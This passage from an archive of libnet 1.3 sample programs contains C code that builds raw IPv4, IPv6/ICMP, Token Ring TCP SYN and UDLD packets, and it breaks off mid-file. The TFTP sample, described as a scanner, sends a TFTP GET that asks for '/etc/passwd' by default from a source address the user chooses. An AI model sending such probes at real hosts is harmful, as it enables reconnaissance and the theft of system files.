http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=418975 * * Copyright (c) 2009 Sam Roberts * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" #include static void assert_eq_(long have, long want, const char* file, int line) { if(have != want) { printf("%s:%d: fail - have %ld want %ld\n", file, line, have, want); abort(); } } #define assert_eq(have, want) assert_eq_(have, want, __FILE__, __LINE__) static void print_pblocks(libnet_t* l) { libnet_pblock_t* p = l->protocol_blocks; while(p) { printf(" tag %2d flags %d type %20s/%#x buf %p b_len %2u h_len %2u copied %2u\n", p->ptag, p->flags, libnet_diag_dump_pblock_type(p->type), p->type, p->buf, p->b_len, p->h_len, p->copied); p = p->next; } printf(" link_offset %d aligner %d total_size %u nblocks %d\n", l->link_offset, l->aligner, l->total_size, l->n_pblocks); } static void ptag_error(libnet_t* l, int ptag) { if(ptag <= 0) { printf("error: %s\n", libnet_geterror(l)); } assert(ptag > 0); } static int build_ipo(libnet_t* l, libnet_ptag_t ptag, int payload_s) { uint8_t* payload = malloc(payload_s); assert(payload); memset(payload, '\x88', payload_s); ptag = libnet_build_ipv4_options(payload, payload_s, l, ptag); ptag_error(l, ptag); free(payload); return ptag; } static int build_ipv4(libnet_t* l, libnet_ptag_t ptag, int payload_s, int ip_len) { u_long src_ip = 0xf101f1f1; u_long dst_ip = 0xf102f1f1; uint8_t* payload = malloc(payload_s); assert(payload); memset(payload, '\x99', payload_s); if(!ip_len) { ip_len = LIBNET_IPV4_H + payload_s; } ptag = libnet_build_ipv4( ip_len, /* length */ 0, /* TOS */ 0xbbbb, /* IP ID */ 0, /* IP Frag */ 0xcc, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ payload_s ? payload : NULL, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ ptag); /* libnet id */ ptag_error(l, ptag); free(payload); return ptag; } static int build_ethernet(libnet_t* l, libnet_ptag_t ptag) { uint8_t enet_src[6] = {0x11, 0x11, 0x11, 0x11, 0x11, 0x11}; uint8_t enet_dst[6] = {0x22, 0x22, 0x22, 0x22, 0x22, 0x22}; ptag = libnet_build_ethernet( enet_dst, /* ethernet destination */ enet_src, /* ethernet source */ ETHERTYPE_IP, /* protocol type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ ptag); /* libnet id */ ptag_error(l, ptag); return ptag; } static void assert_lengths(libnet_t* l, int ip_len, int ip_ihl, int payload_s) { uint8_t* pkt1 = NULL; uint32_t pkt1_sz = 0; struct libnet_ipv4_hdr* h1; uint8_t* payload = NULL; int r = libnet_pblock_coalesce(l, &pkt1, &pkt1_sz); assert(r >= 0); print_pblocks(l); libnet_diag_dump_hex(pkt1, 14, 1, stdout); libnet_diag_dump_hex(pkt1+14, pkt1_sz-14, 1, stdout); /* check ip IHL value, total ip pkt length, and options value */ h1 = (struct libnet_ipv4_hdr*) (pkt1+14); assert_eq(h1->ip_hl, ip_ihl); assert_eq(ntohs(h1->ip_len), ip_len); payload = ((uint8_t*) h1) + ip_ihl * 4; if(payload_s > 0) { assert(payload[0] == (uint8_t)'\x99'); assert(payload[payload_s-1] == (uint8_t)'\x99'); } } int main(int argc, char *argv[]) { libnet_t *l; char *device = "eth0"; char errbuf[LIBNET_ERRBUF_SIZE]; libnet_ptag_t ipo_ptag = 0; libnet_ptag_t ip_ptag = 0; libnet_ptag_t eth_ptag = 0; int ip_len = 0; l = libnet_init( LIBNET_LINK, device, errbuf); assert(l); printf("Packet: options=4, payload=0\n"); ip_len = 20 + 4 + 0; /* ip + options + payload */ ipo_ptag = build_ipo(l, ipo_ptag, 4); ip_ptag = build_ipv4(l, ip_ptag, 0, 24); eth_ptag = build_ethernet(l, eth_ptag); assert_lengths(l, 24, 6, 0); ipo_ptag = ip_ptag = eth_ptag = 0; libnet_clear_packet(l); printf("Packet: options=3, payload=1\n"); ip_len = 20 + 4 + 1; /* ip + options + payload */ ipo_ptag = build_ipo(l, ipo_ptag, 3); ip_ptag = build_ipv4(l, ip_ptag, 1, 25); eth_ptag = build_ethernet(l, eth_ptag); assert_lengths(l, 25, 6, 1); ipo_ptag = ip_ptag = eth_ptag = 0; libnet_clear_packet(l); printf("Packet: options=3, payload=1\n"); ip_len = 20 + 4 + 1; /* ip + options + payload */ ipo_ptag = build_ipo(l, ipo_ptag, 3); ip_ptag = build_ipv4(l, ip_ptag, 1, ip_len); eth_ptag = build_ethernet(l, eth_ptag); assert_lengths(l, 25, 6, 1); printf("... modify -> options=40\n"); ip_len = 20 + 40 + 1; /* ip + options + payload */ ipo_ptag = build_ipo(l, ipo_ptag, 40); assert_lengths(l, ip_len, 15, 1); printf("... modify -> options=0\n"); ip_len = 20 + 0 + 1; /* ip + options + payload */ ipo_ptag = build_ipo(l, ipo_ptag, 0); assert_lengths(l, ip_len, 5, 1); printf("... modify -> options=5\n"); ip_len = 20 + 8 + 1; /* ip + options + payload */ ipo_ptag = build_ipo(l, ipo_ptag, 5); assert_lengths(l, ip_len, 7, 1); printf("... modify -> ip_payload=5\n"); ip_len = 20 + 8 + 5; /* ip + options + payload */ ip_ptag = build_ipv4(l, ip_ptag, 5, ip_len); assert_lengths(l, ip_len, 7, 1); ipo_ptag = ip_ptag = eth_ptag = 0; libnet_clear_packet(l); return (EXIT_SUCCESS); } libnet-1.3/sample/test_ipv6_icmpv4.c0000664000175000017500000000765714506572036015727 0ustar syqsyq/* * Regression test for bugs such as reported in: * http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=418975 * * Copyright (c) 2009 Sam Roberts * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" #include #ifdef _WIN32 #include #else #include #endif static void print_pblocks(libnet_t* l) { libnet_pblock_t* p = l->protocol_blocks; while(p) { /* h_len is header length for checksumming? "chksum length"? */ printf(" tag %d flags %d type %20s/%#x buf %p b_len %2u h_len %2u copied %2u\n", p->ptag, p->flags, libnet_diag_dump_pblock_type(p->type), p->type, p->buf, p->b_len, p->h_len, p->copied); p = p->next; } printf(" link_offset %d aligner %d total_size %u nblocks %d\n", l->link_offset, l->aligner, l->total_size, l->n_pblocks); } int main(int argc, char *argv[]) { libnet_t *l; int r; char *device = "eth0"; struct libnet_ether_addr *mac_address; struct in6_addr src_ip; struct libnet_in6_addr dst_ip; char errbuf[LIBNET_ERRBUF_SIZE]; libnet_ptag_t icmp_ptag = 0; libnet_ptag_t ipv6_ptag = 0; char payload[24] = { 0 }; memset(&src_ip, 0x66, sizeof(src_ip)); l = libnet_init( LIBNET_RAW6, device, errbuf); assert(l); mac_address = libnet_get_hwaddr(l); assert(mac_address); dst_ip = libnet_name2addr6(l, "::1" /* BCAST_ADDR - defined where? */, LIBNET_DONT_RESOLVE); memcpy(payload,src_ip.s6_addr,16); payload[16] = 2; /* 2 for Target Link-layer Address */ payload[17] = 1; /* The length of the option */ memcpy(payload+18,mac_address->ether_addr_octet, 6); /* 0x2000: RSO */ icmp_ptag = libnet_build_icmpv4_echo( 136,0,0,0x2000,0, (uint8_t *)payload,sizeof(payload), l, LIBNET_PTAG_INITIALIZER); assert(icmp_ptag); ipv6_ptag = libnet_build_ipv6( 0, 0, LIBNET_ICMPV6_H + sizeof(payload), /* ICMPV6_H == ICMPV4_H, luckily */ IPPROTO_ICMP6, 255, *(struct libnet_in6_addr*)&src_ip, dst_ip, NULL, 0, l, 0); assert(icmp_ptag); print_pblocks(l); { uint8_t* pkt1 = NULL; uint32_t pkt1_sz = 0; r = libnet_pblock_coalesce(l, &pkt1, &pkt1_sz); assert(r >= 0); libnet_diag_dump_hex(pkt1, LIBNET_IPV6_H, 0, stdout); libnet_diag_dump_hex(pkt1+LIBNET_IPV6_H, pkt1_sz-LIBNET_IPV6_H, 0, stdout); free(pkt1); pkt1 = NULL; } r = libnet_write(l); assert(r >= 0); return (EXIT_SUCCESS); } libnet-1.3/sample/tftp.c0000664000175000017500000001443214506572036013464 0ustar syqsyq/* * * libnet 1.1 * Build a TFTP scanner using payload * * Copyright (c) 2003 Frédéric Raynal * All rights reserved. * * Ex: * ./tftp -s 192.168.0.1 -d 192.168.0.66 -p plop * * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c; libnet_t *l; u_long src_ip, dst_ip; char errbuf[LIBNET_ERRBUF_SIZE]; libnet_ptag_t udp = 0, ip = 0; char *filename = "/etc/passwd"; char mode[] = "netascii"; u_char *payload = NULL; uint32_t payload_s = 0; printf("libnet 1.1 packet shaping: UDP + payload[raw] == TFTP\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; while ((c = getopt(argc, argv, "d:s:p:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then separate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); goto bad; } break; case 's': if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); goto bad; } break; case 'p': filename = optarg; break; default: fprintf(stderr, "unkown option [%s]: bye bye\n", optarg); goto bad; } } if (!src_ip || !dst_ip) { usage(argv[0]); exit(EXIT_FAILURE); } /* * build payload * * 2 bytes string 1 byte string 1 byte * ------------------------------------------------ * | Opcode | Filename | 0 | Mode | 0 | * ------------------------------------------------ * */ payload_s = 2 + strlen(filename) + 1 + strlen(mode) + 1; payload = malloc(sizeof(char)*payload_s); if (!payload) { fprintf(stderr, "malloc error for payload\n"); goto bad; } memset(payload, 0, payload_s); payload[1] = 1; /* opcode - GET */ memcpy(payload + 2, filename, strlen(filename)); memcpy(payload + 2 + strlen(filename) + 1 , mode, strlen(mode)); /* * Build pblocks */ udp = libnet_build_udp( 0x1234, /* source port */ 69, /* destination port */ LIBNET_UDP_H + payload_s, /* packet length */ 0, /* checksum */ payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (udp == -1) { fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l)); goto bad; } ip = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + payload_s, /* length - dont forget the UDP's payload */ 0, /* TOS */ 0x4242, /* IP ID */ 0, /* IP Frag */ 0x42, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload (already in UDP) */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (ip == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte TFTP packet; check the wire.\n", c); } libnet_destroy(l); free(payload); return (EXIT_SUCCESS); bad: libnet_destroy(l); free(payload); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip -d destination_ip" " [-p payload] [-t|u|i] \n", name); } libnet-1.3/sample/tring_tcp1.c0000664000175000017500000001731214506572036014561 0ustar syqsyq/* * libnet 1.1 * Build a TCP packet to ride on Token Ring * * Copyright (c) 1998 - 2001 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c; char *cp; libnet_t *l; libnet_ptag_t t; char *payload; u_short payload_s; u_long src_ip, dst_ip; u_short src_prt, dst_prt; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: TCP (over Token Ring) [link]\n"); /* * Initialize the library. Root priviledges are required. * * Currently hard-coded for tr0. */ l = libnet_init( LIBNET_LINK, /* injection type */ "tr0", /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; src_prt = 0; dst_prt = 0; payload = NULL; payload_s = 0; while ((c = getopt(argc, argv, "d:s:p:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then separate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; dst_prt = (u_short)atoi(cp); if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 's': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; src_prt = (u_short)atoi(cp); if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'p': payload = optarg; payload_s = strlen(payload); break; default: exit(EXIT_FAILURE); } } if (!src_ip || !src_prt || !dst_ip || !dst_prt) { usage(argv[0]); exit(EXIT_FAILURE); } t = libnet_build_tcp( src_prt, /* source port */ dst_prt, /* destination port */ 0x01010101, /* sequence number */ 0x02020202, /* acknowledgement num */ TH_SYN, /* control flags */ 32767, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ LIBNET_TCP_H + payload_s, /* TCP packet size */ (uint8_t *)payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_token_ring( LIBNET_TOKEN_RING_FRAME, LIBNET_TOKEN_RING_LLC_FRAME, /* LLC - Normal buffer */ tr_dst, /* token ring destination */ tr_src, /* token ring source */ LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */ LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */ 0x03, /* Unnumbered info/frame */ org_code, /* Organization Code */ TOKEN_RING_TYPE_IP, /* protocol type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build token ring header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip.source_port -d destination_ip.destination_port" " [-p payload]\n", name); } libnet-1.3/sample/tring_tcp2.c0000664000175000017500000001670114506572036014563 0ustar syqsyq/* * libnet 1.1 * Build a TCP packet to ride on token ring (autobuild) * * Copyright (c) 1998 - 2001 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c; char *cp; libnet_t *l; libnet_ptag_t t; char *payload; u_short payload_s; u_long src_ip, dst_ip; u_short src_prt, dst_prt; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: TCP (over token ring) [link]\n"); /* * Initialize the library. Root priviledges are required. * * Currently hard-coded for tr0. */ l = libnet_init( LIBNET_LINK, /* injection type */ "tr0", /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; src_prt = 0; dst_prt = 0; payload = NULL; payload_s = 0; while ((c = getopt(argc, argv, "d:s:p:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then separate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; dst_prt = (u_short)atoi(cp); if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 's': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; src_prt = (u_short)atoi(cp); if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'p': payload = optarg; payload_s = strlen(payload); break; default: exit(EXIT_FAILURE); } } if (!src_ip || !src_prt || !dst_ip || !dst_prt) { usage(argv[0]); exit(EXIT_FAILURE); } t = libnet_build_tcp( src_prt, /* source port */ dst_prt, /* destination port */ 0x01010101, /* sequence number */ 0x02020202, /* acknowledgement num */ TH_SYN, /* control flags */ 32767, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ LIBNET_TCP_H + payload_s, /* TCP packet size */ (uint8_t *)payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_autobuild_token_ring( LIBNET_TOKEN_RING_FRAME, LIBNET_TOKEN_RING_LLC_FRAME, /* LLC - Normal buffer */ tr_dst, /* token ring destination */ LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */ LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */ 0x03, /* Unnumbered info/frame */ org_code, /* Organization Code */ TOKEN_RING_TYPE_IP, /* protocol type */ l); /* libnet handle */ if (t == -1) { fprintf(stderr, "Can't build token ring header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip.source_port -d destination_ip.destination_port" " [-p payload]\n", name); } libnet-1.3/sample/udld.c0000664000175000017500000001362314506572036013440 0ustar syqsyq#include #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" #include #define DEVICE_NAME "lo" int main(int argc, char *argv[]) { (void)argc; /* unused */ int c; libnet_t *l; libnet_ptag_t t; char errbuf[LIBNET_ERRBUF_SIZE]; size_t udld_payload_size = 0; l = libnet_init(LIBNET_LINK, DEVICE_NAME, errbuf); if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); return (EXIT_FAILURE); } /* [TLV SEQUENCE NUMBER ]*/ const uint32_t sequence_number = 1; t = libnet_build_udld_sequence_number((const uint8_t *)&sequence_number, l, 0); if (t == (-1)) { fprintf(stderr, "Cannot build UDLD Sequence Number TLV: %s\n", libnet_geterror(l)); goto bad; } udld_payload_size += (LIBNET_UDLD_TLV_HDR_SIZE + sizeof(uint32_t)); /* [TLV DEVICE NAME ]*/ const char *device_name_str = "S1"; t = libnet_build_udld_device_name((const uint8_t *)device_name_str, strlen(device_name_str), l, 0); if (t == (-1)) { fprintf(stderr, "Cannot build UDLD Device Name TLV: %s\n", libnet_geterror(l)); goto bad; } udld_payload_size += (LIBNET_UDLD_TLV_HDR_SIZE + strlen(device_name_str)); /* [TLV TIMEOUT INTERVAL ]*/ const uint8_t timeout_interval = 5; t = libnet_build_udld_timeout_interval(&timeout_interval, l, 0); if (t == (-1)) { fprintf(stderr, "Cannot build UDLD Timeout Interval TLV: %s\n", libnet_geterror(l)); goto bad; } udld_payload_size += (LIBNET_UDLD_TLV_HDR_SIZE + sizeof(uint8_t)); /* [TLV MESSAGE INTERVAL ]*/ const uint8_t message_interval = 7; t = libnet_build_udld_message_interval(&message_interval, l, 0); if (t == (-1)) { fprintf(stderr, "Cannot build UDLD Message Interval TLV: %s\n", libnet_geterror(l)); goto bad; } udld_payload_size += (LIBNET_UDLD_TLV_HDR_SIZE + sizeof(uint8_t)); /* [ TLV ECHO ] */ const uint8_t echo_id_pairs[] = {0x0, 0x0, 0x0, 0x0}; t = libnet_build_udld_echo(echo_id_pairs, (sizeof(echo_id_pairs)/sizeof(echo_id_pairs[0])), l, 0); if (t == (-1)) { fprintf(stderr, "Cannot build UDLD Echo TLV: %s\n", libnet_geterror(l)); goto bad; } udld_payload_size += (LIBNET_UDLD_TLV_HDR_SIZE + (sizeof(echo_id_pairs)/sizeof(echo_id_pairs[0]))); /* [ TLV PORT ID ] */ const char *port_id_str = "Gi0/1"; t = libnet_build_udld_port_id((const uint8_t *)port_id_str, strlen(port_id_str), l, 0); if (t == (-1)) { fprintf(stderr, "Cannot build UDLD Port ID TLV: %s\n", libnet_geterror(l)); goto bad; } udld_payload_size += (LIBNET_UDLD_TLV_HDR_SIZE + strlen(port_id_str)); /* [ TLV DEVICE ID ] */ const char *device_id_str = "FOC1031Z7JG"; t = libnet_build_udld_device_id((const uint8_t *)device_id_str, strlen(device_id_str), l, 0); if (t == (-1)) { fprintf(stderr, "Cannot build UDLD Device ID TLV: %s\n", libnet_geterror(l)); goto bad; } udld_payload_size += (LIBNET_UDLD_TLV_HDR_SIZE + strlen(device_id_str)); assert((udld_payload_size == 56) && "Incorrect UDLD payload size\n"); int flags = (LIBNET_UDLD_FLAG_RT | LIBNET_UDLD_FLAG_RSY); t = libnet_build_udld_hdr(LIBNET_UDLD_PDU_VERSION, /* version */ LIBNET_UDLD_PDU_OPCODE_PROBE, /* opcode */ flags, /* flags */ 0, /* checksum */ NULL, /* payload */ 0, /* payload_s */ l, 0); if (t == -1) { fprintf(stderr, "Can't build UDLD: %s\n", libnet_geterror(l)); goto bad; } uint8_t OUI[3] = LIBNET_UDLD_OID; t = libnet_build_802_2snap(0xAA, /* DSAP */ 0xAA, /* SSAP */ 0x03, /* Control */ OUI, /* OUI */ 